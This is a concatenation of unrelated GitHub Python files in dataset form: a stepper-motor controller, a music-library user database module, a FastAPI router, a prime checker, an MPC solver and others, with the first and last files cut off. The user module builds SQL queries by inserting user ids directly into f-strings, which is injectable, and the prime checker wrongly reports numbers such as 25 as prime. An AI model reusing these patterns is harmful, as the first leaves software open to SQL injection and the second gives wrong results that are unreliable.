('p1: %s\\n' %(p1))\noutput.write ('p2: %s\\n' %(p2))\noutput.write ('p3: %s\\n' %(p3))\noutput.write ('px: %s\\n\\n' %(px))\n\noutput.write ('v_3: %s\\n' %(v_3))\noutput.write ('v_2: %s\\n' %(v_2))\noutput.write ('v_1: %s\\n' %(v1))\noutput.write ('v0: %s\\n' %(v0))\noutput.write ('v1: %s\\n' %(v1))\noutput.write ('v2: %s\\n' %(v2))\noutput.write ('v3: %s\\n\\n' %(v3))\n\noutput.write ('m0: %s\\n' %(m0))\noutput.write ('m1: %s\\n' %(m1))\noutput.write ('m2: %s\\n' %(m2))\noutput.write ('m3: %s\\n' %(m3))\noutput.write ('m4: %s\\n' %(m4))\noutput.write ('m5: %s\\n' %(m5))\noutput.write ('m6: %s\\n\\n' %(m6))\n\noutput.write ('succ: %s\\n' %(res1))\noutput.write ('fail: %s\\n\\n' %(res0))\n\ntry:\n output.write('catch_x: %s\\n' %(catch_x))\n output.write('catchx: %s\\n\\n' %(catchx))\n\n output.write('catch_3: %s\\n' %(catch_3))\n output.write('catch_2: %s\\n' %(catch_2))\n output.write('catch_1: %s\\n' %(catch_1))\n output.write('catch1: %s\\n' %(catch1))\n output.write('catch2: %s\\n' %(catch2))\n output.write('catch3: %s\\n\\n' %(catch3))\nexcept:\n pass\n\noutput.write('r0_p0: %s\\n' %(r0_p0))\noutput.write('rx_p0: %s\\n' %(rx_p0))\noutput.write('r0_px: %s\\n' %(r0_px))\noutput.write('rx_px: %s\\n\\n' %(rx_px))\n\noutput.write('r0_p0_f: %s\\n' %(r0_p0_f))\noutput.write('rx_p0_f: %s\\n' %(rx_p0_f))\noutput.write('r0_px_f: %s\\n' %(r0_px_f))\noutput.write('rx_px_f: %s\\n' %(rx_px_f))\noutput.write('r0_p0_s: %s\\n' %(r0_p0_s))\noutput.write('rx_p0_s: %s\\n' %(rx_p0_s))\noutput.write('r0_px_s: %s\\n' %(r0_px_s))\noutput.write('rx_px_s: %s\\n\\n' %(rx_px_s))\n\noutput.write('M1 units: %s\\n' %(M1_unit_num))\noutput.write('S1 units: %s\\n' %(S1_unit_num))\noutput.write('PmD units: %s\\n' %(PmD_unit_num))\n\n\noutput.close()\n","repo_name":"jhess90/classification_scripts","sub_path":"block_summary.py","file_name":"block_summary.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4351366685","text":"import pigpio\nimport time\nimport threading\nimport math\n\npi = pigpio.pi()\n\ngpio_pin_lst = (14, 15, 18, 23, 24, 25, 8, 16, 20)\nDIR_PIN1, STEP_PIN1, DIR_PIN2, STEP_PIN2, M2, M1, M0, GRAB_SERVO, MAG_SERVO = gpio_pin_lst\n\nfor pin in gpio_pin_lst:\n pi.set_mode(pin, pigpio.OUTPUT)\n\n\npi.write(M0, 1) \npi.write(M1, 0)\npi.write(M2, 0)\n\nhome_distance = 950\nside_distance = 120\nsquare_side = 374\n\nmagnet_up = 1100\nmagnet_down = 810\ngrabber_up = 1650\ngrabber_down_normal = 1025\ngrabber_down_king = 1115\n\n\nclass Stepper:\n def __init__(self, step_pin, dir_pin):\n self.coord = 0\n self.step_pin = step_pin\n self.dir_pin = dir_pin\n self.velocity = 0\n \n def move(self, coord):\n travel = coord - self.coord\n if travel != 0:\n accel_travel = int((travel/abs(travel)))*100\n decel_travel = int((travel/abs(travel)))*70\n linear_travel = travel - accel_travel - decel_travel\n direction = self.coord < coord\n \n if (linear_travel < 0) == (travel < 0):\n self.accelerate(accel_travel)\n for i in range(abs(linear_travel)):\n self.step(direction)\n self.decelerate(decel_travel)\n else:\n small_acceleration = int(travel/2)\n small_decel = travel - small_acceleration\n self.accelerate(small_acceleration)\n self.decelerate(small_decel)\n \n \n def step(self, dir_positive):\n if dir_positive:\n pi.write(self.dir_pin, 1)\n self.coord += 1\n else:\n pi.write(self.dir_pin, 0)\n self.coord -= 1\n pi.write(self.step_pin, 1)\n time.sleep(0.001)\n pi.write(self.step_pin, 0)\n \n def accelerate(self, steps):\n current_steps = abs(steps)\n steps_amount = abs(steps)\n interval = 0.001\n while current_steps > 0:\n time.sleep((current_steps/steps_amount)**(1/4)*interval)\n self.step(steps > 0)\n current_steps -= 1\n \n def decelerate(self, steps):\n current_steps = 0\n interval = 0.001\n while current_steps < abs(steps):\n time.sleep(math.sqrt(current_steps/abs(steps))*interval)\n self.step(steps > 0)\n current_steps += 1\n \n\ntst_stepper1 = Stepper(STEP_PIN1, DIR_PIN1)\ntst_stepper2 = Stepper(STEP_PIN2, DIR_PIN2)\n\ndef move_to(x, y):\n t1 = threading.Thread(target=tst_stepper1.move, args=(side_distance+square_side*(x-1),))\n t2 = threading.Thread(target=tst_stepper2.move, args=(home_distance+square_side*(y-1),))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n \ndef move_home():\n t1 = threading.Thread(target=tst_stepper1.move, args=(0,))\n t2 = threading.Thread(target=tst_stepper2.move, args=(0,))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n \ndef grabber_lower(king=False):\n if king:\n pi.set_servo_pulsewidth(GRAB_SERVO, grabber_down_king)\n else:\n pi.set_servo_pulsewidth(GRAB_SERVO, grabber_down_normal)\n time.sleep(0.3)\n pi.set_servo_pulsewidth(GRAB_SERVO, 0)\n\ndef grabber_lower_with_height(pieces):\n piece_height = 80\n pi.set_servo_pulsewidth(GRAB_SERVO, grabber_down_normal + piece_height*(pieces-1))\n time.sleep(0.3)\n pi.set_servo_pulsewidth(GRAB_SERVO, 0)\n \ndef grabber_elevate():\n pi.set_servo_pulsewidth(GRAB_SERVO, grabber_up)\n time.sleep(0.3)\n pi.set_servo_pulsewidth(GRAB_SERVO, 0)\n\ndef magnet_lower():\n pi.set_servo_pulsewidth(MAG_SERVO, magnet_down)\n time.sleep(0.2)\n pi.set_servo_pulsewidth(MAG_SERVO, 0)\n \ndef magnet_elevate():\n pi.set_servo_pulsewidth(MAG_SERVO, magnet_up)\n time.sleep(0.2)\n pi.set_servo_pulsewidth(MAG_SERVO, 0)\n\ndef grabber_grab(king=False):\n grabber_lower(king)\n magnet_lower()\n grabber_elevate()\n \ndef grabber_drop(king=False):\n grabber_lower(king)\n magnet_elevate()\n grabber_elevate()\n \n\ngrabber_elevate()\nmagnet_elevate()\n\n","repo_name":"Markus98/Tambot","sub_path":"stepper_controller.py","file_name":"stepper_controller.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40115976542","text":"import os, sys\nimport json\nimport sqlite3\nimport time\n\n#myhier = os.getenv('MYHIER')\n#gitHome = os.getenv('GIT_HOME') \nmbLibPath = os.getenv('MBLIBPATH')\nsys.path.append(mbLibPath)\n\n\nimport MBCommon as MBC\nimport MBDBUtil as MBDB\n\n#--start constants--\n\n__author__ = \"Josef Grosch\"\n__copyright__ = \"Copyright 2020 - 2023 Moose River, LLC.\"\n__description__ = \"This tool manages the MusicBank tree\"\n__email__ = \"jgrosch@gmail.com\"\n__license__ = \"BSD 3-clause\"\n__maintainer__ = \"Josef Grosch\"\n__status__ = \"Development\"\n__version__ = \"0.1\"\n\n#--end constants--\n\n\"\"\"\nuser -- functions related to the DB table, user\n\"\"\"\n\n\n\n# ----------------------------------------------------------\n#\n# addUser\n#\n# ----------------------------------------------------------\ndef addUser(pDict):\n rDict = MBC.genReturnDict('inside addUser')\n RS = MBC.ReturnStatus\n\n debug = False\n idFound = False\n emailFound = False\n nameFound = False\n\n if 'id' in pDict:\n userId = pDict['id']\n idFound = True\n\n if 'email' in pDict:\n userEmail = pDict['email']\n emailFound = True\n\n if 'name' in pDict:\n userName = pDict['name']\n nameFound = True\n\n \n if idFound and emailFound and nameFound:\n D = MBDB.connectToDB(pDict)\n cursor = D['data']['cursor']\n conn = D['data']['conn']\n \n query = f\"select * from user where user_id = '{userId}';\"\n \n cursor.execute(query)\n Rows = cursor.fetchall()\n if len(Rows) >= 1:\n rDict['status'] = RS.NOT_OK\n rDict['msg'] = f\"ERROR: User {userName} found. User name, id, and email must be unique.\"\n else:\n epoch = int(time.time())\n now = time.strftime(\"%c\")\n rec_version = 1\n insert_time = now\n insert_epoch = epoch\n update_time = now\n update_epoch = epoch\n active = 1\n user_name = userName\n user_id = userId\n user_email = userEmail\n \n query = (\"insert into user (rec_version, insert_time, insert_epoch, \"\n \"update_time, update_epoch, active, \"\n \"user_name, user_id, user_email) values ({}, '{}', '{}', '{}', '{}', \"\n \" {}, '{}', '{}', '{}');\"\n .format(rec_version, insert_time, insert_epoch,\n update_time, update_epoch, active, user_name, user_id, user_email))\n\n if debug:\n print(query)\n\n cursor.execute(query)\n value = cursor.lastrowid\n if value >= 1:\n rDict['status'] = RS.OK\n rDict['msg'] = f\"{pDict['toolName']}: New user, {userId}, DB record inserted\"\n \n # End of else\n\n conn.commit()\n cursor.close()\n else:\n outMsg = []\n outMsg.append(\"MB.py add error: \\n\")\n \n if not idFound:\n outMsg.append(\"\\tUser id is not specified.(--id )\\n\")\n\n if not emailFound:\n outMsg.append(\"\\tUser email is not specified.(--email )\\n\")\n\n if not nameFound:\n outMsg.append(\"\\tUser name is not specified.(--name )\\n\")\n\n outStr = ''.join(outMsg)\n\n rDict['status'] = RS.NOT_OK\n rDict['msg'] = outStr\n \n return rDict\n # End of addUser\n\n\n# ----------------------------------------------------------\n#\n# deleteUser\n#\n# ----------------------------------------------------------\ndef deleteUser(pDict):\n rDict = MBC.genReturnDict('inside deleteUser')\n RS = MBC.ReturnStatus\n\n D = MBDB.connectToDB(pDict)\n cursor = D['data']['cursor']\n conn = D['data']['conn']\n \n userId = pDict['id']\n #userEmail = pDict['email']\n \n query = f\"select * from user where user_id = '{userId}';\"\n \n cursor.execute(query)\n Rows = cursor.fetchall()\n if len(Rows) <= 0:\n rDict['status'] = RS.NOT_OK\n rDict['msg'] = f\"ERROR: User Id {userId} Not found.\"\n else:\n # delete from user where user_name = 'bdobbs';\n query = f\"delete from user where user_id = '{userId}';\"\n\n cursor.execute(query)\n value = cursor.lastrowid\n if value == 0:\n rDict['status'] = RS.OK\n rDict['msg'] = f\"User Id {userId} deleted\"\n # End of if/else\n \n conn.commit()\n cursor.close()\n \n return rDict\n # End of deleteUser\n\n\n# ----------------------------------------------------------\n#\n# listUsers\n#\n# ----------------------------------------------------------\ndef listUsers(pDict):\n query = 'select * from user;'\n\n rDict = __listUsers(pDict, query)\n\n return rDict\n # End of listUsers\n\n# ----------------------------------------------------------\n#\n# __listUsers\n#\n# ----------------------------------------------------------\ndef __listUsers(pDict, query):\n rDict = MBC.genReturnDict('inside __listUser')\n RS = MBC.ReturnStatus\n UT = MBC.UserTable\n \n JL = []\n UD = {}\n W = {}\n\n W['recNumWidth'] = 0\n W['userNameWidth'] = 0\n W['userIdWidth'] = 0\n W['userEmailWidth'] = 0\n W['insertTimeWidth'] = 0\n \n D = MBDB.connectToDB(pDict)\n cursor = D['data']['cursor']\n conn = D['data']['conn']\n \n cursor.execute(query)\n Rows = cursor.fetchall()\n if len(Rows) > 0:\n for row in Rows:\n UD['recNum'] = row[UT.REC_NUM]\n width = len(str(row[UT.REC_NUM]))\n if width > W['recNumWidth']:\n W['recNumWidth'] = width\n \n UD['recVersion'] = row[UT.REC_VERSION]\n \n UD['insertTime'] = row[UT.INSERT_TIME]\n width = len(row[UT.INSERT_TIME])\n if width > W['insertTimeWidth']:\n W['insertTimeWidth'] = width\n\n UD['insertEpoch'] = row[UT.INSERT_EPOCH]\n\n UD['updateTime'] = row[UT.UPDATE_TIME]\n\n UD['updateEpoch'] = row[UT.UPDATE_EPOCH]\n\n UD['active'] = row[UT.ACTIVE]\n\n UD['userName'] = row[UT.USER_NAME]\n width = len(row[UT.USER_NAME])\n if width > W['userNameWidth']:\n W['userNameWidth'] = width\n\n UD['userId'] = row[UT.USER_ID]\n width = len(row[UT.USER_ID])\n if width > W['userIdWidth']:\n W['userIdWidth'] = width\n\n UD['userEmail'] = row[UT.USER_EMAIL]\n width = len(row[UT.USER_EMAIL])\n if width > W['userEmailWidth']:\n W['userEmailWidth'] = width\n\n JL.append(UD)\n UD = {}\n # End of for loop\n\n pDict['W'] = W\n pDict['JL'] = JL\n outStr = genUserListingStr(pDict)\n \n rDict['status'] = RS.OK\n rDict['msg'] = 'Users found'\n rDict['data'] = outStr\n else:\n rDict['status'] = RS.NOT_FOUND\n rDict['msg'] = 'No users found'\n # End of if/else\n\n conn.commit()\n cursor.close()\n\n return rDict\n # End of __listUsers\n\n# ----------------------------------------------------------\n#\n# genUserListingStr\n#\n# ----------------------------------------------------------\ndef genUserListingStr(pDict):\n rDict = MBC.genReturnDict('inside genUserListingStr')\n RS = MBC.ReturnStatus\n UT = MBC.UserTable\n\n JL = pDict['JL']\n W = pDict['W']\n \n outStr = ''\n Lines = []\n \n if W['recNumWidth'] < UT.REC_NUM_MIN_WIDTH:\n W['recNumWidth'] = UT.REC_NUM_MIN_WIDTH\n \n if W['userNameWidth'] < UT.USER_NAME_MIN_WIDTH:\n W['userNameWidth'] = UT.USER_NAME_MIN_WIDTH\n \n if W['userIdWidth'] < UT.USER_ID_MIN_WIDTH:\n W['userIdWidth'] = UT.USER_ID_MIN_WIDTH\n \n if W['userEmailWidth'] < UT.USER_EMAIL_MIN_WIDTH:\n W['userEmailWidth'] = UT.USER_EMAIL_MIN_WIDTH\n\n if W['insertTimeWidth'] < UT.INSERT_TIME_MIN_WIDTH:\n W['insertTimeWidth'] = UT.INSERT_TIME_MIN_WIDTH\n\n\n title1 = ' rec # '\n title1Len = len(title1)\n a = '-' * title1Len\n\n title2 = ' user name '\n title2Len = len(title2)\n b = '-' * title2Len\n\n title3 = ' user id '\n title3Len = len(title3)\n c = '-' * title3Len\n\n title4 = ' user email '\n title4Len = len(title4)\n d = '-' * title4Len\n\n title5 = ' insert time '\n title5Len = len(title5)\n e = '-' * title5Len\n\n headStr1 = f\"+{a}+{b}+{c}+{d}+{e}+\"\n headStr2 = f\"|{title1}|{title2}|{title3}|{title4}|{title5}|\"\n headStr = f\"{headStr1}\\n{headStr2}\\n{headStr1}\\n\"\n Lines.append(headStr)\n #print(headStr)\n \n #'{:^10}'.format('test')\n for entry in JL:\n recNum = str(entry['recNum'])\n userName = entry['userName']\n userId = entry['userId']\n userEmail = entry['userEmail']\n insertTime = entry['insertTime']\n\n tmpStr = (\"|{:^7}|{:^15}|{:^15}|{:^32}|{:^34}|\\n\"\n .format(recNum, userName, userId, userEmail, insertTime))\n Lines.append(tmpStr)\n\n Lines.append(headStr1)\n outStr = ''.join(Lines)\n #print(outStr)\n \n return outStr\n # End of genUserListingStr\n \n# ----------------------------------------------------------\n#\n# listUser\n#\n# ----------------------------------------------------------\ndef listUser(pDict):\n userId = pDict['id']\n query = f\"select * from user where user_id = '{userId}';\"\n\n rDict = __listUsers(pDict, query)\n\n return rDict\n # End of listUser\n\n \n# ----------------------------------------------------------\n#\n# updateUser\n#\n# ----------------------------------------------------------\ndef updateUser(pDict):\n rDict = MBC.genReturnDict('inside updateUser')\n RS = MBC.ReturnStatus\n\n return rDict\n # End of updateUser\n\n\ndef getUserInfo(pDict):\n rDict = MBC.genReturnDict('inside updateUser')\n RS = MBC.ReturnStatus\n\n UD = {}\n \n userId = pDict['id']\n query = f\"select * from user where user_id = '{userId}';\"\n\n D = MBDB.connectToDB(pDict)\n cursor = D['data']['cursor']\n conn = D['data']['conn']\n \n cursor.execute(query)\n Rows = cursor.fetchall()\n if len(Rows) == 1:\n for row in Rows:\n UD['recNum'] = row[UT.REC_NUM]\n UD['recVersion'] = row[UT.REC_VERSION]\n UD['insertTime'] = row[UT.INSERT_TIME]\n UD['insertEpoch'] = row[UT.INSERT_EPOCH]\n UD['updateTime'] = row[UT.UPDATE_TIME]\n UD['updateEpoch'] = row[UT.UPDATE_EPOCH]\n UD['active'] = row[UT.ACTIVE]\n UD['userName'] = row[UT.USER_NAME]\n UD['userId'] = row[UT.USER_ID]\n UD['userEmail'] = row[UT.USER_EMAIL]\n # End of for loop\n \n rDict['status'] = RS.OK\n rDict['msg'] = 'User found'\n rDict['data'] = UD\n else:\n rDict['status'] = RS.NOT_FOUND\n rDict['msg'] = 'No user found'\n # End of if/else\n \n conn.commit()\n cursor.close()\n\n return rDict\n # End of updateUser\n \n# -----------------------------------------------------------------------\n#\n# End of user.py\n#\n# -----------------------------------------------------------------------\n","repo_name":"jgrosch510/MusicBank","sub_path":"lib/Python/MusicBank/MusicBank/MBUser.py","file_name":"MBUser.py","file_ext":"py","file_size_in_byte":11319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71224486226","text":"from Repository.repo_costume import RepoCostume\nfrom Domain.costum import Costum\n\nclass FileRepoCostume(RepoCostume):\n \"\"\"\n\n \"\"\"\n\n def __init__(self, cale_fisier):\n RepoCostume.__init__(self)\n self.__cale_fisier = cale_fisier\n\n def __real_all_from_file(self):\n with open(self.__cale_fisier, \"r\") as f:\n lines = f.readlines()\n self._costume.clear()\n for line in lines:\n line = line.strip()\n if line != \"\":\n parts = line.split(\",\")\n id_costum = int(parts[0])\n denumire_costum = parts[1]\n tematica_costum = parts[2]\n pret_costum = int(parts[3])\n disponibilitate_costum = parts[4]\n costum = Costum(id_costum,denumire_costum,tematica_costum,pret_costum,disponibilitate_costum)\n self._costume[id_costum] = costum\n\n def __write_all_to_file(self):\n with open(self.__cale_fisier, \"w\") as f:\n for costum in self._costume.values():\n f.write(str(costum)+\"\\n\")\n\n def adauga_costum(self, costum):\n self.__real_all_from_file()\n RepoCostume.adauga_costum(self, costum)\n self.__write_all_to_file()\n\n def cauta_costum_dupa_id(self,id_costum):\n self.__real_all_from_file()\n return RepoCostume.cauta_costum_dupa_id(self, id_costum)\n\n def get_all(self):\n self.__real_all_from_file()\n return RepoCostume.get_all(self)\n\n","repo_name":"Kaensy/Lab-Python","sub_path":"TestSimulare/Repository/file_repo_costume.py","file_name":"file_repo_costume.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72145104465","text":"from fastapi import APIRouter, Depends, Request, HTTPException, BackgroundTasks\r\nfrom fastapi.templating import Jinja2Templates\r\nfrom app.tests.dao import TestDAO\r\nfrom app.users.dao import UserDAO\r\nfrom app.function.fastfunc import get_id_test, get_text_from_file\r\nfrom app.tasks.tasks_bot import get_question\r\nfrom app.tests.schemas import STests\r\nfrom app.users.models import Users\r\nimport os\r\nfrom app.function.func import FunctionBot\r\n\r\nfrom app.users.dependencies import get_current_user\r\n\r\nrouter = APIRouter(\r\n prefix=\"/tests\",\r\n tags=[\"vseobot test\"]\r\n)\r\n\r\ntemplates = Jinja2Templates(directory=\"app/templates\")\r\n\r\n\r\n@router.get(\"\")\r\nasync def root_test(request: Request, user: Users = Depends(get_current_user)): \r\n user_name = user[\"Users\"].email.split(\"@\")[0]\r\n return templates.TemplateResponse(\r\n name=\"index.html\", \r\n context={\"request\": request, \"user_name\": user_name}\r\n )\r\n\r\n\r\n@router.post(\"/function\")\r\nasync def vseobot(data: STests, background_task: BackgroundTasks, user: Users = Depends(get_current_user)):\r\n user_id = await UserDAO.get_user_id(user[\"Users\"].email)\r\n if user_id is None: \r\n raise HTTPException(status_code=404)\r\n \r\n await TestDAO.add(user_id=user_id[\"id\"])\r\n test_id = await get_id_test(user_id[\"id\"])\r\n print(test_id)\r\n if len(test_id) == 2: \r\n await TestDAO.delete_test(test_id[-2][\"id\"])\r\n os.remove(f\"all_tests/vseobot-question{test_id[-2]['id']}.txt\")\r\n\r\n background_task.add_task(get_question(code=data.code, name=data.name, test_id=test_id[-1][\"id\"]))\r\n\r\n\r\n\r\n@router.get(\"/all_questions\")\r\nasync def view_all_question(request: Request, user: Users = Depends(get_current_user)): \r\n user_id = await UserDAO.get_user_id(user[\"Users\"].email)\r\n if user_id is None: \r\n raise HTTPException(status_code=404)\r\n \r\n test_id = await get_id_test(user_id[\"id\"])\r\n \r\n if test_id:\r\n question = await get_text_from_file(test_id[-1][\"id\"])\r\n else: \r\n question = [[\"Нету тестов =(\"]]\r\n\r\n return templates.TemplateResponse(\r\n name=\"question.html\", \r\n context={\"request\": request, \"questions\": question}\r\n )\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"linwexEU/vseobot","sub_path":"app/tests/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37237039012","text":"def sum(n):\n if n != 0:\n return (n%10 + sum(n//10))\n else:\n return 0\n \n\ndef main():\n n = int(input(\"Enter a number: \"))\n print(sum(n))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"AdityaHegde712/Compiler-Design-problems","sub_path":"Activity 7/recursive_sum_digits.py","file_name":"recursive_sum_digits.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42088978564","text":"\"\"\"\nFile: prime_checker.py\nName:\n-----------------------\nThis program asks our user for input and checks if the input is a\nprime number or not. First, ” Welcome to the prime checker” will be printed on Console.\nAnd the program will continually ask the user to enter an integer \nthat is greater than 1 and checks if it is a prime number.\nThe program ends when the user enter the EXIT number.\n\"\"\"\nEXIT = -100\n\n\ndef main():\n\t\"\"\"\n\tpre_condition: users input the number check whether the is prime or not.\n\tpost_condition: users will get the two kinds of answer, a prime number or not a prime number.\n\t\"\"\"\n\tprint('Welcome to prime checker!')\n\twhile True:\n\t\tn = int(input('n or (' + str(EXIT) + ' to exit.): '))\n\t\tif n == EXIT:\n\t\t\tprint('Have a good one !')\n\t\t\tbreak\n\t\telif n == 2 or n == 3: # 2,3 is a prime number, to avoid the situation it becomes not a prime number.\n\t\t\tprint(str(n) + ' is a prime number.')\n\t\telif n % 2 == 0 or n % 3 == 0: # except 2 and 3, it will check the number if it a prime number or not.\n\t\t\tprint(str(n) + ' is not a prime number.')\n\t\telse:\n\t\t\tprint(str(n) + ' is a prime number.')\n\n\n# DO NOT EDIT CODE BELOW THIS LINE #\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"cola30616/MyStanCodeProject","sub_path":"SC001/Assignment2/prime_checker.py","file_name":"prime_checker.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7855761427","text":"#! /usr/bin/env python\n# -- encoding:utf - 8 --\nimport sys\nimport cPickle\nfrom gevent import monkey\nmonkey.patch_all()\n\nfrom config import constants, database\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ntracks = cPickle.load(open(\"top_tracks\", \"r\"))\n\n# tracks = tracks[81:82]\n\ntag_value = []\n\nall_tags = [] # each element [(artist, title), tags]\n\n\ndef get_tags(track):\n tags = track[1]\n for tag in tags:\n if str(tag[0]) in constants.VALID_TAGS:\n if int(tag[1]) < constants.MIDDLE_VALUE:\n value = 1\n elif int(tag[1]) >= constants.MIDDLE_VALUE:\n value = 2\n else:\n break\n artist = str(track[0][0])\n title = str(track[0][1])\n tag = str(tag[0])\n database.store_tag(artist, title, tag, value)\n\n\ndef download_tags(track):\n tags = track[0].get_top_tags()\n tag = [(track[0].artist, track[0].title), tags]\n all_tags.append(tag)\n print(len(all_tags))\n cPickle.dump(all_tags, open('tags', 'w'))\n\n\nif __name__ == \"__main__\":\n # gevent_spawns = [gevent.spawn(download_tags, track) for track in tracks]\n # gevent.joinall(gevent_spawns)\n # print(all_tags)\n\n tracks = cPickle.load(open('tags', 'r'))\n for track in tracks:\n get_tags(track)\n","repo_name":"PatrickCai/music_classification","sub_path":"tag_init.py","file_name":"tag_init.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74103655184","text":"import math\nimport sys\nfrom enum import auto\nfrom enum import Enum\nfrom time import time\n\nimport casadi as ca\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import animation\n\n\ndef to_array(dm):\n return np.array(dm.full())\n\n\nclass ProblemType(Enum):\n PS = auto() # point stabilization\n TT = auto() # trajectory tracking\n\n\nclass Solver:\n def __init__(\n self, n_la: int, dt: float, type=\"point_stabilization\", n_states=3, n_controls=2\n ) -> None:\n\n self._n_la = n_la\n self._dt = dt\n self._n_states = n_states\n self._n_controls = n_controls\n\n if type == \"point_stabilization\":\n self._type = ProblemType.PS\n\n self._weight_x = 1\n self._weight_y = 1\n self._weight_yaw = 0.01\n self._weight_v = 0.5\n self._weight_omega = 0.05\n\n elif type == \"trajectory_tracking\":\n self._type = ProblemType.TT\n\n self._weight_x = 0.99\n self._weight_y = 0.99\n self._weight_yaw = 0.1\n self._weight_v = 0.05\n self._weight_omega = 0.05\n\n else:\n print(\"[ERROR] unknown type\")\n sys.exit(1)\n\n # reset optimizer results\n self.reset()\n self._solver = self._get_nlp_solver()\n self._bounds = self._get_bounds()\n\n def reset(self) -> None:\n self._opt_states = None\n self._opt_controls = None\n\n def solve(self, x0, p) -> None:\n\n solution = self._solver(\n x0=x0,\n p=p,\n lbx=self._bounds[\"lbx\"],\n ubx=self._bounds[\"ubx\"],\n lbg=self._bounds[\"lbg\"],\n ubg=self._bounds[\"ubg\"],\n )\n\n self._opt_states = ca.reshape(\n solution[\"x\"][: self._n_states * (self._n_la + 1)],\n self._n_states,\n self._n_la + 1,\n )\n self._opt_controls = ca.reshape(\n solution[\"x\"][self._n_states * (self._n_la + 1) :],\n self._n_controls,\n self._n_la,\n )\n\n # std::tuple mpc_control(\n # StVec st_i, StMat X_i, ConMat U_i, StMat X_ref) {\n # // Tested 210405\n\n # using namespace casadi;\n\n # // Get solution to NLP problem\n # Function solver{npl_solution()};\n # std::map mpc_args{get_mpc_args(st_i, X_i, U_i, X_ref)};\n # std::vector z_opt(solver(mpc_args).at(\"x\"));\n\n # int j = 0;\n # StMat oX = StMat::Zero();\n # for (int k = 0; k < N_la + 1; ++k) {\n # for (int s = 0; s < n_states; ++s) {\n # oX(s, k) = z_opt.at(j);\n # j++;\n # }\n # }\n\n # // Optimized control matrix\n # ConMat oU = ConMat::Zero();\n # for (int k = 0; k < N_la; ++k) {\n # for (int s = 0; s < n_controls; ++s) {\n # oU(s, k) = z_opt.at(j);\n # j++;\n # }\n # }\n\n # casadi_assert(j == n_states * (N_la + 1) + n_controls * N_la, \"\");\n\n # return {oX, oU};\n # }\n\n # x = np.zeros((self._n_states, self._n_la + 1))\n # u = np.zeros((self._n_controls, self._n_la))\n\n # x_ref = np.zeros((self._n_states, self._n_la + 1))\n # # x_ref[:, 0] = x\n # x_ref[1, 1] = 1.0\n\n # args = self._get_nlp_args(x, u, x_ref)\n # print(args)\n\n # solver = self._get_nlp_solver()\n # res = solver(\n # x0=args[\"x0\"],\n # lbx=args[\"lbx\"],\n # ubx=args[\"ubx\"],\n # lbg=args[\"lbg\"],\n # ubg=args[\"ubg\"],\n # p=args[\"p\"],\n # )\n # print(res)\n\n def _get_nlp_solver(self) -> ca.Function:\n\n # matrix containing all states over all time steps +1 (each column is a state vector)\n X = ca.SX.sym(\"X\", self._n_states, self._n_la + 1)\n # matrix containing all controls over all time steps (each column is an control vector)\n U = ca.SX.sym(\"U\", self._n_controls, self._n_la)\n\n # parameters vector\n if self._type is ProblemType.PS:\n # column vector for storing initial state and target state\n P = ca.SX.sym(\"P\", self._n_states + self._n_states)\n elif self._type is ProblemType.TT:\n # robot's initial pose + reference poses along the path\n P = ca.SX.sym(\"P\", self._n_states * (self._n_la + 1))\n else:\n print(\"error\")\n sys.exit(1)\n\n nlp_prob = {\n \"x\": ca.vertcat(X.reshape((-1, 1)), U.reshape((-1, 1))),\n \"p\": P,\n \"f\": self._cost_function(X, U, P),\n \"g\": self._constraint_equations(X, U, P),\n }\n\n # solver options\n solver_options = {\n \"ipopt\": {\n \"max_iter\": 2000,\n \"print_level\": 0,\n \"acceptable_tol\": 1e-8,\n \"acceptable_obj_change_tol\": 1e-6,\n },\n \"print_time\": 0,\n }\n\n return ca.nlpsol(\"solver\", \"ipopt\", nlp_prob, solver_options)\n\n def _cost_function(self, x: ca.SX, u: ca.SX, p: ca.SX) -> ca.SX:\n \"\"\"Compute the cost function in terms of the symbolic variable.\n\n Note that the cost function does not depend on x[:, 0]. This vector is\n determined by the\n initial constraint x[:, 0] = st_ini, the current pose of the vehicle.\n\n Also note that the reference control is zero. This means we want to solve the\n optimization\n problem with the lowest speed possible.\n\n Args:\n x (ca.SX): symbolic state matrix\n u (ca.SX): symbolic control matrix\n p (ca.SX): symbolic paramters vector\n\n Returns:\n ca.SX: symbolic scalar representing the cost function\n \"\"\"\n # state and control weights matrices\n q = ca.diagcat(self._weight_x, self._weight_y, self._weight_yaw)\n r = ca.diagcat(self._weight_v, self._weight_omega)\n\n cost_fn = 0\n\n if self._type is ProblemType.PS:\n for k in range(self._n_la):\n st = x[:, k]\n con = u[:, k]\n st_ref = p[self._n_states :]\n\n state_loss = (st - st_ref).T @ q @ (st - st_ref)\n control_loss = con.T @ r @ con\n cost_fn += state_loss + control_loss\n\n elif self._type is ProblemType.TT:\n for k in range(self._n_la + 1):\n st = x[:, k]\n st_ref = p[k * self._n_states : (k + 1) * self._n_states]\n assert st.shape == st_ref.shape\n\n # state cost function: weighted squared difference between estimated and\n # reference poses\n if k != 0:\n cost_fn += (st - st_ref).T @ q @ (st - st_ref)\n\n # control cost function: weighted weighted norm of the estimated control\n if k < self._n_la:\n con = u[:, k]\n cost_fn = con.T @ r 